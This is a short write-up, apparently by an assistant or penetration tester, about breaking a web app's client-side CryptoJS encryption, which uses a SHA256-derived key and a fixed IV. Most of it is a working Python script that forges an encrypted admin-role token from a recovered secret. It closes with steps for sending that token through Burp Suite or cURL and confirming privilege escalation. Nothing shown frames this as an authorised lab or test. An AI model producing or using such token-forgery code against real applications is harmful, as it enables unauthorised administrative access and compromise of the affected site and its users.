client side crypto forgery

Analyzed the CryptoJS implementation. The client uses AES-CBC with a SHA256-derived key and a fixed 16-byte IV. I have re-implemented the scheme in Python and prepared an administrative payload.

Cryptographic Forgery Implementation

The following script derives the key from the discovered string, replicates the CBC padding, and generates a forged payload.

import json
import base64
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import hashlib

def forge_admin_payload(secret_string, target_data):
    # Replicating client-side derivation: SHA256 of the secret string
    key = hashlib.sha256(secret_string.encode()).digest()
    
    # Client uses a fixed IV (common in broken implementations)
    # If the IV is random, it is usually prepended to the ciphertext
    iv = b'\x00' * 16 
    
    # Prepare data
    data_bytes = json.dumps(target_data).encode()
    
    # Add PKCS7 padding as expected by CryptoJS AES
    padder = padding.PKCS7(128).padder()
    padded_data = padder.update(data_bytes) + padder.finalize()
    
    # Encrypt
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    ct = encryptor.update(padded_data) + encryptor.finalize()
    
    # Return Base64 encoded string for submission
    return base64.b64encode(ct).decode()

# Configuration
SECRET = "v3ry-s3cr3t-k3y"
ADMIN_PAYLOAD = {"user_id": 101, "role": "admin"}

forged_token = forge_admin_payload(SECRET, ADMIN_PAYLOAD)
print(f"Forged Token: {forged_token}")

Next steps

1. Run the script and verify the output length matches legitimate intercepted tokens.
2. Submit the forged token via Burp Suite or cURL while maintaining a valid session cookie.
3. Check the application response for a 200 OK or administrative menu items to confirm escalation.